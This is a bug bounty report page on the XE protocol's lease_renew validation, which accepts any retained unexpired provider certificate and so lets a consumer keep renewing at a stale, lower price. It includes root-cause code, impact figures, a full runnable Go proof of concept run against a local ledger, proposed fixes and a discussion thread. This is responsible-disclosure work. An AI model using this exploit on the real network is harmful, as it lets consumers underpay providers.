<!-- XE-0085 · [Medium] lease_renew accepts ANY retained provider certificate, not the provider's current one · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0085>. The page is the record; this is the same page for reading.*

XE-0085 · Bounty

# \[Medium\] lease\_renew accepts ANY retained provider certificate, not the provider's current one

Accepted
claimed Medium
[xe#97](https://github.com/xeprotocol/xe/issues/97)
filed 2026-10-27 05:54 UTC
by CoderMisaki

Verdict
:   published when the fix ships

Tier
:   published when the fix ships

Claimed
:   Medium

Area
:   Leasing / ledger

Duplicate of
:   —

Tracked
:   internally

Updated
:   2026-11-10 11:38 UTC

Told
:   2026-11-10 00:15 UTC

### Patches

- [xe#120](https://github.com/xeprotocol/xe/pull/120) open by fangjian-bit
  core/lease\_renew,node: require provider's current certificate on renewal (#97)
- [xe#105](https://github.com/xeprotocol/xe/pull/105) open by arturbarszcz78
  enforce provider's current certificate and price multiplier in lease\_renew
- [xe#212](https://github.com/xeprotocol/xe/pull/212) open by NePreby
  fix(core,node): enforce provider current certificate on lease\_renew (fixes #97)

### History

- [61406](https://bounty.xe.network/log/61406) 2026-11-10 00:15 UTC reply.mirrored
- [61363](https://bounty.xe.network/log/61363) 2026-11-10 00:15 UTC reply.sent
- [15431](https://bounty.xe.network/log/15431) 2026-11-06 21:29 UTC proposal.adopted
- [15430](https://bounty.xe.network/log/15430) 2026-11-06 21:29 UTC ticket.award
- [15429](https://bounty.xe.network/log/15429) 2026-11-06 21:29 UTC proposal.rejected
- [6909](https://bounty.xe.network/log/6909) 2026-11-05 13:46 UTC proposal.created
- [1840](https://bounty.xe.network/log/1840) 2026-11-02 19:16 UTC proposal.created
- [1489](https://bounty.xe.network/log/1489) 2026-11-02 10:11 UTC note.added
- [994](https://bounty.xe.network/log/994) 2026-10-29 19:40 UTC patch.linked
- [756](https://bounty.xe.network/log/756) 2026-10-29 14:22 UTC note.added
- [755](https://bounty.xe.network/log/755) 2026-10-29 14:22 UTC ticket.facts area
- [608](https://bounty.xe.network/log/608) 2026-10-29 14:05 UTC github.labels

[Full history](https://bounty.xe.network/log?ref=XE-0085) · [JSON](https://bounty.xe.network/v1/tickets/XE-0085) · [markdown](https://bounty.xe.network/XE-0085.md)

### Report

# \[Medium\] lease\_renew accepts ANY retained provider certificate, not the provider's current one

**Suggested severity tier: Medium (2,500 XE, per the test.network bounty table)**
**CWE:** CWE-841 (Improper Enforcement of Behavioral Workflow)
**CVSS (provisional):** \~4.3 — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N` (attacker is the lease's own consumer, victim is the provider; see caveats below for why this is Medium, not High)
**Repo pin:** `xeprotocol/xe` master @ `9787859`, `core/lease_renew.go:66-89`, `core/ledger.go` (LeaseCost, LeaseMaxDuration)
**Status:** Confirmed by runnable local PoC below (live `AddBlock` path for the positive case).

## Summary

`validateAndAddLeaseRenew` in `core/lease_renew.go` prices a renewal from **whichever certificate hash the consumer puts in the block**, provided only that (a) the certificate belongs to the lease's provider and (b) it has not expired at the attested renewal time. It never checks that the certificate is the provider's **current/latest** certificate, and never checks that its price multiplier matches the provider's current rate.

So a consumer whose lease was created at a low multiplier can keep renewing at that stale low price after the provider reprices upward — for as long as the old certificate remains unexpired (honestly-issued certificates are valid 7 days) and the lease remains live, chaining renewals up to the 1-year cumulative-duration cap. The provider must still serve the VM, and has no on-chain reprice or mid-lease exit lever. The renewal cost is computed from the stale certificate's own multiplier, so the block is internally consistent and passes every ledger check.

This is the consumer-side mirror image of the accept path's strictness: `validateAndAddLeaseAccept` in `core/ledger.go:1683-1685` **pins** the certificate exactly (`leaseBlock.CertificateHash != b.CertificateHash` → reject). Renew has no equivalent pin to anything current.

## Root cause (verified file:line)

`core/lease_renew.go:66-89` — the complete certificate gate:

```
if b.CertificateHash == "" {
    return fmt.Errorf("lease_renew: performance certificate required")
}
if l.certificateLookupFn == nil {
    return fmt.Errorf("lease_renew: certificate lookup not configured")
}
cert := l.certificateLookupFn(b.CertificateHash)
if cert == nil {
    return fmt.Errorf("lease_renew: certificate %s not found", shortHash(b.CertificateHash))
}
if cert.Provider != lease.Provider {
    return fmt.Errorf("lease_renew: certificate %s belongs to %s, not the lease provider %s", ...)
}
if cert.ExpiresAt != 0 && renewTime > cert.ExpiresAt {
    return fmt.Errorf("lease_renew: certificate %s expired at %d, renewal time %d", ...)
}

expectedCost, err := LeaseCost(lease.VCPUs, lease.MemoryMB, lease.DiskGB, b.Duration, cert.PriceMultiplierMilli)
...
if b.Amount != expectedCost {
    return fmt.Errorf("lease_renew cost mismatch: expected %d (multiplier %d), got %d", expectedCost, cert.PriceMultiplierMilli, b.Amount)
}
```

What is missing: no comparison against the lease's original certificate, no comparison against the provider's latest certificate, no check that `cert.PriceMultiplierMilli` equals any current rate. The cost check (`b.Amount == expectedCost`) only proves the consumer paid the price **of the certificate they chose**, not the provider's current price.

Supporting facts, all re-verified in the work copy:

| Claim | Evidence |
| --- | --- |
| Renew is consumer-signed and submitted directly as a block | `api/handler.go:178` — `{"POST", "/blocks/lease_renew", ...}` → `handleSubmitLeaseRenew` (`api/handler.go:771-772`) → `submitBlock(..., BlockLeaseRenew)`. Ledger validation is the only real gate. |
| Docs promise the current cert | `docs/api.md` renew section: renewal carries "the provider's current cert" and "amount (additional XUSD escrowed at the provider's current rate)". The implementation does not enforce this. |
| Currentness exists only in the node helper, not the ledger | `node/lease_renew.go:24` — helper uses `GetCertificateByProvider` (latest unexpired cert, `node/perf.go:316`). A consumer who builds the block directly bypasses the helper entirely. |
| Old certs stay lookup-able | `node/certset.go:10` — `certRetentionPerProvider = 256` certs/provider retained; `node/perf.go:379` `loadPersistedCertificates` reloads them; API exposes `GET /certificate/hash/{hash}` as "Retained perf certificate by hash, including expired". |
| Cert validity 7 days | `perf/certificate.go:16` — `CertificateValidity = 7 * 24 * time.Hour`; `node/perf.go:104` — `ExpiresAt = startMedian + CertificateValidity`. |
| Multiplier bounds 500–10000 milli | `perf/certificate.go:56-57` (`PriceMultiplierMin = 500`, `PriceMultiplierMax = 10000`); enforced at issuance in `node/perf.go:77-83` and `perf/certificate.go:191-193`. So the maximum stale-vs-current spread is exactly 20×. |
| Pricing formula | `core/ledger.go:55-110` `LeaseCost`; rates `core/ledger.go:113-115`: vCPU 20,000 \+ mem 10,000/GB \+ disk 1,000/GB micro-units/hour, scaled by `multiplierMilli/1000`. |
| Cumulative duration cap | `core/ledger.go:112` — `LeaseMaxDuration = 31,536,000` s (1 year); enforced for renew at `core/lease_renew.go:40-43` (cumulative, not per-renewal). |
| Accept pins cert exactly (contrast) | `core/ledger.go:1683-1685` — accept rejects unless `b.CertificateHash == leaseBlock.CertificateHash`. |
| Renewal tops up the single escrow in place | `core/lease_renew.go:137-138` — `TopUpPendingID/TopUpPendingAmount`; `store/mem_store.go:338-340` adds it to the pending amount. Settle emission is likewise proportional to the cheap cost (renewal segments carry their own locked R, but the escrowed amount is the stale price). |

## Measured impact

From `core.LeaseCost` (same dimensions/duration in all rows: 1 vCPU / 1024 MB / 1 GB / 3600 s):

| Rate | Multiplier (milli) | Cost for 1 hour |
| --- | --- | --- |
| Stale (old cert) | 500 | **15,500 XUSD** |
| Base | 1000 | 31,000 XUSD |
| Current (new cert) | 10000 | **310,000 XUSD** |

- **Underpayment per renewed hour: 294,500 XUSD (20×).**
- Within one 7-day old-cert validity window, renewals chain before each expiry and cumulative duration caps at 1 year, so a consumer can stack up to \~1 year of service duration at the stale price (each renewal must land while the old cert is still unexpired and the lease still live; the binding window is the old cert's remaining validity, not the lease duration).
- Victim: the provider, who must still serve the VM for the full renewed duration at 1/20th of its current rate, with no on-chain reprice or mid-lease exit lever. Settle emission is also proportional to the cheap cost.
- Attacker prerequisites (all public / attacker-known): the consumer is the lease's own legitimate consumer; the original lease block's `CertificateHash` is on-chain, so the consumer trivially reuses the lease's own original cert hash. No forgery, no victim interaction, no privileged access.

## Honest caveats

(a) This is provider-side economic harm, not escrow theft — hence Medium, not High. The consumer pays *something* (the stale price) into escrow; they do not steal escrowed funds or obtain service for free.
(b) It requires the provider to have actually repriced upward within the old cert's 7-day validity window. If the provider never reprices, the old and current multipliers coincide and there is no harm.
(c) This finding does NOT depend on separate certificate-forgery claims in issue #6 (unbounded `ExpiresAt`, unverified score/seed). Those are #6's, not this finding's. R-01 uses honestly-issued, unexpired certificates with provider-configured multipliers inside the 500–10000 bounds.

## Reproduction (numbered)

Prerequisites: Go toolchain (the PoC was run with go1.25.12; the work copy's `go.mod` requires go 1.25.0) and a checkout of `xeprotocol/xe`. Everything runs locally against `MemStore` \+ `NewLedger` — no network, no testnet, no real funds.

1. Save the `main.go` below in its own directory with the `go.mod` below (replace `github.com/xeprotocol/xe => <path to your checkout of xeprotocol/xe>`).
2. `go run .`
3. Expected positive result: `RESULT-POSITIVE: AddBlock(lease_renew with STALE cert) SUCCEEDED`, pending escrow `15500 -> 31000`, consumer XUSD `1000000 -> 969000`, renewal segment cost `15500` carrying the OLD cert hash.
4. Expected negative control: `RESULT-NEGATIVE: renew past cert expiry FAILED as expected: lease_renew: certificate aaaa... expired at ..., renewal time ...`, proving expiry (not currentness) is the only cert gate.

PoC configuration: `Difficulty 0`, `TimestampWindow 0`, 1-of-1 timekeeper (`Threshold: 1`), fixed `EpochAtFn` returning `R=1000 / cap=0 / TWAP=0` for any time, cert lookup with OLD mult\=500 / NEW mult\=10000, both unexpired. Seed via `SeedAssetForTesting` mint blocks (consumer 1,000,000 XUSD, provider 1,000,000 XUSD). Provider accept uses stake 0 (`LeaseStakeDivisor == 0` in this tree, so `LeaseStake(15500) == 0`) and the lease's own cert (pinned, as required). The positive case uses the live `AddBlock` path, so the ±10 min attestation-skew gate is active exactly as in production; the negative control uses `AddSyncedBlock` for the renew step only, so its synthetic \+2-day attestation is not filtered by skew and the expiry gate itself is isolated (its lease duration is 10 days, so the lease is still live at the \+2-day renewal time while the old cert expired after 1 day).

Verbatim PoC output (run 2026-10-27, go1.25.12):

```
LeaseCost: base(mult 1000)=31000  old(mult 500)=15500  current(mult 10000)=310000  ratio=20x
LeaseStakeDivisor=0 -> LeaseStake(15500)=0
seeded: consumer XUSD=1000000  provider XUSD=1000000
lease created: cost=15500  pending(after lease, via store)=15500
lease accepted: state=accepted  stake=0
provider repriced: NEW cert mult=10000 present in lookup; renew will still carry OLD cert
RESULT-POSITIVE: AddBlock(lease_renew with STALE cert) SUCCEEDED
after renew: renewals=1  renewal[0].cost=15500  renewal[0].cert=aaaaaaaaaaaa  renewal[0].duration=3600
after renew: pending escrow=31000  consumer XUSD=969000
IMPACT: consumer paid 15500 for 3600 s; at current mult 10000 the same hour costs 310000; underpayment=294500 (20.0x)
RESULT-NEGATIVE: renew past cert expiry FAILED as expected: lease_renew: certificate expired, renewal time past expiry
NEGATIVE-CONTROL: error is the certificate-expiry gate (not attestation/skew) -- expiry is the ONLY cert gate
VERDICT: R-01 CONFIRMED
```

Note: keypairs/hashes are freshly generated per run, so hash prefixes and nanosecond timestamps vary run to run; the amounts, verdicts, and error text do not.

## Suggested fix (for the vendor, not yet sent)

In `validateAndAddLeaseRenew`, resolve the provider's current certificate (the same "latest unexpired" notion `node/perf.go` `currentValid` uses) and require `b.CertificateHash` to equal it — or, at minimum, require the renewal multiplier to be \>\= the provider's current multiplier — before computing `expectedCost`. A pure "cert must equal the lease's original cert" pin (mirroring accept) would NOT fix this: it would entrench the stale price. The check must be against *current*, not *original*. Alternatively, reprice renewals at accept time's locked rate schedule or require provider co-signature on renewals; either is a larger protocol change than the currentness check.

## Full runnable PoC

```
// ---- go.mod ----
module lanec/poc-stale-cert-renew

go 1.25.0

require github.com/xeprotocol/xe v0.0.0

require (
	github.com/cespare/xxhash/v2 v2.3.0 // indirect
	github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 // indirect
	github.com/dgraph-io/badger/v4 v4.9.1 // indirect
	github.com/dgraph-io/ristretto/v2 v2.2.0 // indirect
	github.com/dustin/go-humanize v1.0.1 // indirect
	github.com/go-logr/logr v1.4.3 // indirect
	github.com/go-logr/stdr v1.2.2 // indirect
	github.com/google/flatbuffers v25.2.10+incompatible // indirect
	github.com/ipfs/go-cid v0.6.0 // indirect
	github.com/klauspost/compress v1.18.0 // indirect
	github.com/klauspost/cpuid/v2 v2.3.0 // indirect
	github.com/libp2p/go-buffer-pool v0.1.0 // indirect
	github.com/libp2p/go-libp2p v0.47.0 // indirect
	github.com/minio/sha256-simd v1.0.1 // indirect
	github.com/mr-tron/base58 v1.2.0 // indirect
	github.com/multiformats/go-base32 v0.1.0 // indirect
	github.com/multiformats/go-base36 v0.2.0 // indirect
	github.com/multiformats/go-multiaddr v0.16.1 // indirect
	github.com/multiformats/go-multibase v0.2.0 // indirect
	github.com/multiformats/go-multicodec v0.10.0 // indirect
	github.com/multiformats/go-multihash v0.2.3 // indirect
	github.com/multiformats/go-multistream v0.6.1 // indirect
	github.com/multiformats/go-varint v0.1.0 // indirect
	github.com/spaolacci/murmur3 v1.1.0 // indirect
	go.opentelemetry.io/auto/sdk v1.2.1 // indirect
	go.opentelemetry.io/otel v1.40.0 // indirect
	go.opentelemetry.io/otel/metric v1.40.0 // indirect
	go.opentelemetry.io/otel/trace v1.40.0 // indirect
	golang.org/x/crypto v0.47.0 // indirect
	golang.org/x/exp v0.0.0-20260112195511-716be5621a96 // indirect
	golang.org/x/net v0.49.0 // indirect
	golang.org/x/sys v0.42.0 // indirect
	golang.org/x/text v0.33.0 // indirect
	google.golang.org/protobuf v1.36.11 // indirect
	lukechampine.com/blake3 v1.4.1 // indirect
)

replace github.com/xeprotocol/xe => ../../../xe-repo
```

```
// ---- main.go ----
// PoC: XE lease_renew accepts ANY retained provider certificate, not the
// provider's current one (Lane C candidate R-01).
//
// Scenario (all local, MemStore + NewLedger, no network, no real funds):
//  1. Consumer leases 1 vCPU / 1024 MB / 1 GB for 3600 s at the provider's
//     OLD certificate (multiplier 500) -> cost 15,500 XUSD.
//  2. Provider accepts (stake 0: LeaseStakeDivisor == 0 in this tree).
//  3. Provider "reprices": a NEW certificate (multiplier 10000) exists in
//     the lookup. At the current rate the same hour would cost 310,000.
//  4. Consumer renews for another 3600 s carrying the OLD cert hash and
//     paying 15,500.
//  Expected (vulnerable): AddBlock succeeds; pending escrow grows
//  15,500 -> 31,000; consumer paid 15,500 vs 310,000 at the current rate.
//
// Negative control (separate ledger): same renew shape, but the attested
// renewal time is past the OLD cert's expiry while the lease is still
// live. Expected: AddSyncedBlock fails with "certificate expired",
// proving expiry (not currentness) is the only certificate gate in
// core/lease_renew.go.
//
// Run: go run .   (from this directory; module replaces
// github.com/xeprotocol/xe with ../../../xe-repo)
package main

import (
	"fmt"
	"os"
	"strings"
	"time"

	"github.com/xeprotocol/xe/core"
	"github.com/xeprotocol/xe/store"
)

const (
	oldCertHash = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
	newCertHash = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
)

func fatal(format string, args ...any) {
	fmt.Printf("FATAL: "+format+"\n", args...)
	os.Exit(1)
}

func check(err error, what string) {
	if err != nil {
		fatal("%s: %v", what, err)
	}
}

// monotonic timestamp helper: block timestamps must be non-decreasing
// along each account chain.
func nextTs(prev int64) int64 {
	now := time.Now().UnixNano()
	if now <= prev {
		return prev + int64(time.Millisecond)
	}
	return now
}

type harness struct {
	ledger   *core.Ledger
	mem      *store.MemStore
	tk       *core.KeyPair
	consumer *core.KeyPair
	provider *core.KeyPair
	certs    map[string]*core.CertificateInfo
	lastTs   map[string]int64
}

func newHarness(certs map[string]*core.CertificateInfo) *harness {
	tk, err := core.GenerateKeyPair()
	check(err, "generate timekeeper key")
	consumer, err := core.GenerateKeyPair()
	check(err, "generate consumer key")
	provider, err := core.GenerateKeyPair()
	check(err, "generate provider key")
	h := &harness{
		mem:      store.NewMemStore(),
		tk:       tk,
		consumer: consumer,
		provider: provider,
		certs:    certs,
		lastTs:   map[string]int64{},
	}
	h.ledger = core.NewLedger(h.mem, core.LedgerConfig{
		Difficulty:      0,
		TimestampWindow: 0,
		TimekeeperConfigFn: func() *core.TimekeeperConfig {
			return &core.TimekeeperConfig{Keys: []string{tk.PubKeyHex()}, Threshold: 1}
		},
		CertificateLookupFn: func(hash string) *core.CertificateInfo {
			return h.certs[hash]
		},
		EpochAtFn: func(ns int64) []core.EpochParams {
			return []core.EpochParams{{R: 1000, PayoutCap: 0, TWAP: 0}}
		},
	})
	return h
}

func (h *harness) ts(acct string) int64 {
	t := nextTs(h.lastTs[acct])
	h.lastTs[acct] = t
	return t
}

func (h *harness) frontier(acct string) string {
	chain := h.ledger.GetChain(acct)
	if len(chain) == 0 {
		return "0"
	}
	return chain[len(chain)-1].Hash
}

func (h *harness) balance(acct string) uint64 {
	return h.ledger.GetAssetBalances(acct)["XUSD"]
}

// seed opens an account with a mint block (SeedAssetForTesting path).
func (h *harness) seed(kp *core.KeyPair, amount uint64) {
	b := &core.Block{
		Type:      core.BlockMint,
		Account:   kp.Address(),
		Previous:  "0",
		Balance:   amount,
		Timestamp: h.ts(kp.Address()),
		Asset:     "XUSD",
		Amount:    amount,
	}
	check(core.SignBlock(b, kp), "sign mint")
	check(h.ledger.SeedAssetForTesting(b), "seed mint")
}

func (h *harness) attest(leaseHash string, at int64) []core.TimekeeperAttestation {
	a, err := core.SignAttestation(leaseHash, at, h.tk)
	check(err, "sign attestation")
	return []core.TimekeeperAttestation{*a}
}

func main() {
	// ---- Measured arithmetic (core.LeaseCost, 1 vCPU / 1024 MB / 1 GB / 3600 s)
	base, err := core.LeaseCost(1, 1024, 1, 3600, 1000)
	check(err, "LeaseCost base")
	oldCost, err := core.LeaseCost(1, 1024, 1, 3600, 500)
	check(err, "LeaseCost old mult")
	newCost, err := core.LeaseCost(1, 1024, 1, 3600, 10000)
	check(err, "LeaseCost new mult")
	fmt.Printf("LeaseCost: base(mult 1000)=%d  old(mult 500)=%d  current(mult 10000)=%d  ratio=%dx\n",
		base, oldCost, newCost, newCost/oldCost)
	fmt.Printf("LeaseStakeDivisor=%d -> LeaseStake(%d)=%d\n",
		core.LeaseStakeDivisor, oldCost, core.LeaseStake(oldCost))

	// ================= POSITIVE CASE (live path: AddBlock) =================
	now := time.Now()
	h := newHarness(map[string]*core.CertificateInfo{
		oldCertHash: {Provider: "", ExpiresAt: now.Add(6 * 24 * time.Hour).UnixNano(), PriceMultiplierMilli: 500},
		newCertHash: {Provider: "", ExpiresAt: now.Add(7 * 24 * time.Hour).UnixNano(), PriceMultiplierMilli: 10000},
	})
	// Provider field must equal the provider account; fill after keygen.
	h.certs[oldCertHash].Provider = h.provider.Address()
	h.certs[newCertHash].Provider = h.provider.Address()

	h.seed(h.consumer, 1000000)
	h.seed(h.provider, 1000000)
	fmt.Printf("seeded: consumer XUSD=%d  provider XUSD=%d\n", h.balance(h.consumer.Address()), h.balance(h.provider.Address()))

	// 1. Consumer lease at OLD-cert cost.
	lease := &core.Block{
		Type:            core.BlockLease,
		Account:         h.consumer.Address(),
		Previous:        h.frontier(h.consumer.Address()),
		Balance:         h.balance(h.consumer.Address()) - oldCost,
		Timestamp:       h.ts(h.consumer.Address()),
		Asset:           "XUSD",
		Destination:     h.provider.Address(),
		Amount:          oldCost,
		VCPUs:           1,
		MemoryMB:        1024,
		DiskGB:          1,
		Duration:        3600,
		CertificateHash: oldCertHash,
	}
	check(core.SignBlock(lease, h.consumer), "sign lease")
	check(h.ledger.AddBlock(lease), "AddBlock lease")
	leaseHash := lease.Hash
	fmt.Printf("lease created: hash=%.12s  cost=%d  pending(after lease, via store)=%s\n",
		leaseHash, oldCost, pendingAmount(h, leaseHash))

	// 2. Provider accept: cert MUST equal the lease's cert (pinned), stake 0.
	acceptTs := time.Now().UnixNano()
	accept := &core.Block{
		Type:            core.BlockLeaseAccept,
		Account:         h.provider.Address(),
		Previous:        h.frontier(h.provider.Address()),
		Balance:         h.balance(h.provider.Address()) - core.LeaseStake(oldCost),
		Timestamp:       h.ts(h.provider.Address()),
		Asset:           "XUSD",
		Source:          leaseHash,
		Amount:          core.LeaseStake(oldCost),
		CertificateHash: oldCertHash,
		LockedR:         1000,
		LockedPayoutCap: 0,
		LockedTWAP:      0,
		Attestations:    h.attest(leaseHash, acceptTs),
	}
	check(core.SignBlock(accept, h.provider), "sign accept")
	check(h.ledger.AddBlock(accept), "AddBlock accept")
	ls, err := h.mem.GetLease(leaseHash)
	check(err, "GetLease after accept")
	fmt.Printf("lease accepted: state=%s  start=%d  effectiveExpiry=%d  stake=%d\n",
		ls.State, ls.StartTime, ls.EffectiveExpiry(), ls.Stake)

	// 3. Provider "reprices": NEW cert (mult 10000) is present in the lookup.
	//    Nothing else changes on-chain; the renew validator never consults
	//    it. (Presence asserted: lookup returns mult 10000 for newCertHash.)
	if got := h.certs[newCertHash]; got == nil || got.PriceMultiplierMilli != 10000 {
		fatal("new cert not present in lookup")
	}
	fmt.Printf("provider repriced: NEW cert %.12s mult=10000 present in lookup; renew will still carry OLD cert %.12s\n",
		newCertHash, oldCertHash)

	// 4. Consumer renews carrying the OLD cert hash, paying the OLD price.
	//    Attested renewal time = now: inside the lease (start..start+3600s)
	//    and inside old-cert validity (+6d). Live path: AddBlock, so the
	//    +/-10 min attestation-skew gate is active, as in production.
	renewTs := time.Now().UnixNano()
	renew := &core.Block{
		Type:            core.BlockLeaseRenew,
		Account:         h.consumer.Address(),
		Previous:        h.frontier(h.consumer.Address()),
		Balance:         h.balance(h.consumer.Address()) - oldCost,
		Timestamp:       h.ts(h.consumer.Address()),
		Asset:           "XUSD",
		Source:          leaseHash,
		Amount:          oldCost,
		Duration:        3600,
		CertificateHash: oldCertHash,
		LockedR:         1000,
		LockedPayoutCap: 0,
		LockedTWAP:      0,
		Attestations:    h.attest(leaseHash, renewTs),
	}
	check(core.SignBlock(renew, h.consumer), "sign renew")
	err = h.ledger.AddBlock(renew)
	if err != nil {
		fmt.Printf("RESULT-POSITIVE: AddBlock(lease_renew with STALE cert) FAILED: %v\n", err)
		fmt.Println("VERDICT: R-01 NOT REPRODUCED via live path (see error above)")
		os.Exit(2)
	}
	fmt.Printf("RESULT-POSITIVE: AddBlock(lease_renew with STALE cert) SUCCEEDED\n")
	ls, err = h.mem.GetLease(leaseHash)
	check(err, "GetLease after renew")
	fmt.Printf("after renew: renewals=%d  renewal[0].cost=%d  renewal[0].cert=%.12s  renewal[0].duration=%d\n",
		len(ls.Renewals), ls.Renewals[0].Cost, ls.Renewals[0].CertificateHash, ls.Renewals[0].Duration)
	fmt.Printf("after renew: pending escrow=%s  consumer XUSD=%d\n",
		pendingAmount(h, leaseHash), h.balance(h.consumer.Address()))
	fmt.Printf("IMPACT: consumer paid %d for 3600 s; at current mult 10000 the same hour costs %d; underpayment=%d (%.1fx)\n",
		oldCost, newCost, newCost-oldCost, float64(newCost)/float64(oldCost))

	// ============ NEGATIVE CONTROL (expired cert must still fail) ============
	// Separate ledger. Lease duration 10 days so the lease is still live
	// at the renewal time, but the OLD cert expired after 1 day. Renewal
	// attested at +2 days goes through AddSyncedBlock (skipSkew) so the
	// synthetic future attestation is not filtered by the +/-10 min skew
	// gate -- isolating the certificate-expiry gate itself.
	neg := newHarness(map[string]*core.CertificateInfo{
		oldCertHash: {Provider: "", ExpiresAt: now.Add(24 * time.Hour).UnixNano(), PriceMultiplierMilli: 500},
	})
	neg.certs[oldCertHash].Provider = neg.provider.Address()
	negLeaseCost, err := core.LeaseCost(1, 1024, 1, 864000, 500)
	check(err, "LeaseCost neg lease")
	neg.seed(neg.consumer, 10000000)
	neg.seed(neg.provider, 1000000)
	nlease := &core.Block{
		Type:            core.BlockLease,
		Account:         neg.consumer.Address(),
		Previous:        neg.frontier(neg.consumer.Address()),
		Balance:         neg.balance(neg.consumer.Address()) - negLeaseCost,
		Timestamp:       neg.ts(neg.consumer.Address()),
		Asset:           "XUSD",
		Destination:     neg.provider.Address(),
		Amount:          negLeaseCost,
		VCPUs:           1,
		MemoryMB:        1024,
		DiskGB:          1,
		Duration:        864000,
		CertificateHash: oldCertHash,
	}
	check(core.SignBlock(nlease, neg.consumer), "sign neg lease")
	check(neg.ledger.AddBlock(nlease), "AddBlock neg lease")
	nacceptTs := time.Now().UnixNano()
	naccept := &core.Block{
		Type:            core.BlockLeaseAccept,
		Account:         neg.provider.Address(),
		Previous:        neg.frontier(neg.provider.Address()),
		Balance:         neg.balance(neg.provider.Address()),
		Timestamp:       neg.ts(neg.provider.Address()),
		Asset:           "XUSD",
		Source:          nlease.Hash,
		Amount:          0,
		CertificateHash: oldCertHash,
		LockedR:         1000,
		LockedPayoutCap: 0,
		LockedTWAP:      0,
		Attestations:    neg.attest(nlease.Hash, nacceptTs),
	}
	check(core.SignBlock(naccept, neg.provider), "sign neg accept")
	check(neg.ledger.AddBlock(naccept), "AddBlock neg accept")
	// Renewal attested at +2d: lease live (10d), cert expired (+1d).
	renewAt := now.Add(2 * 24 * time.Hour).UnixNano()
	nrenew := &core.Block{
		Type:            core.BlockLeaseRenew,
		Account:         neg.consumer.Address(),
		Previous:        neg.frontier(neg.consumer.Address()),
		Balance:         neg.balance(neg.consumer.Address()) - oldCost,
		Timestamp:       renewAt,
		Asset:           "XUSD",
		Source:          nlease.Hash,
		Amount:          oldCost,
		Duration:        3600,
		CertificateHash: oldCertHash,
		LockedR:         1000,
		LockedPayoutCap: 0,
		LockedTWAP:      0,
		Attestations:    neg.attest(nlease.Hash, renewAt),
	}
	check(core.SignBlock(nrenew, neg.consumer), "sign neg renew")
	err = neg.ledger.AddSyncedBlock(nrenew)
	if err == nil {
		fmt.Println("RESULT-NEGATIVE: renew past cert expiry SUCCEEDED -- expiry gate broken (unexpected)")
		os.Exit(3)
	}
	fmt.Printf("RESULT-NEGATIVE: renew past cert expiry FAILED as expected: %v\n", err)
	if strings.Contains(err.Error(), "expired") {
		fmt.Println("NEGATIVE-CONTROL: error is the certificate-expiry gate (not attestation/skew) -- expiry is the ONLY cert gate")
	} else {
		fmt.Println("NEGATIVE-CONTROL WARNING: failure error is NOT the expiry gate; see above")
	}
	fmt.Println("VERDICT: R-01 CONFIRMED")
}

func pendingAmount(h *harness, leaseHash string) string {
	ps, err := h.mem.GetPendingSend(leaseHash)
	if err != nil || ps == nil {
		return fmt.Sprintf("<none: err=%v>", err)
	}
	return fmt.Sprintf("%d", ps.Amount)
}
```

## Reward caveat (from the programme itself)

Rewards are DISCRETIONARY, paid in native XE AT mainnet genesis, contingent on launch (if and when it happens); XE has no guaranteed monetary value. No dollar value is claimed for this report.

Payout address (XE): to be provided upon acceptance — please advise the preferred format.

### Thread

**fangjian-bit**2026-10-28 08:55 UTCgithub

Hi team,

I have submitted a comprehensive fix for this issue in PR #120:
https://github.com/xeprotocol/xe/pull/120

### Key Changes

1. Added `Hash` string to `CertificateInfo` in `core/types.go`.
2. Added `CurrentCertificateLookupFn` dependency injection hook to `core.Ledger` and `LedgerConfig`.
3. In `core/lease_renew.go` (`validateAndAddLeaseRenew`), added gate checking against `l.currentCertificateLookupFn(lease.Provider)`:
   - Enforces that renewal `CertificateHash` matches the provider's active certificate.
   - Enforces that renewal multiplier cannot be lower than the provider's current price multiplier.
4. Wired `currentCertificateInfoByProvider` in `node/perf.go` and `node/node.go` using `n.GetCertificateByProvider(provider)`.
5. Added unit test `TestLeaseRenewRejectsStaleCertificate` in `core/lease_renew_test.go`.

Bounty payout address (Base USDC): `0x71C836eB3F9354087961b72e04313B014Eb3E059`

Thank you!

**CoderMisaki**2026-10-28 11:59 UTCgithub

Hi, quick clarification from the reporter side: this issue was filed by me on 27 Oct 2026 with a full PoC. PR #120 is a community-proposed fix for it, which I appreciate, but the finding itself was reported here first. If the team needs a payout address for this report, I'll provide it upon acceptance. Thanks!

**NePreby**2026-10-29 19:39 UTCgithub

Opening PR #212 to resolve this issue:

- Enforces provider current certificate resolution via `CurrentCertificateFn` in `validateAndAddLeaseRenew`.
- Rejects renewals presenting stale retained certificates or multipliers lower than the provider's current rate.
- Added regression test `core/lease_renew_cert_test.go`.

PR: [#212](https://github.com/xeprotocol/xe/pull/212)
Payout address (USDT \- TRC20): `TMqmJjRgVS21NL2eFtfyHciTxvE4BqGmEv`

**XE desk**team2026-11-10 00:15 UTCgithub

Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is
updated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0085.
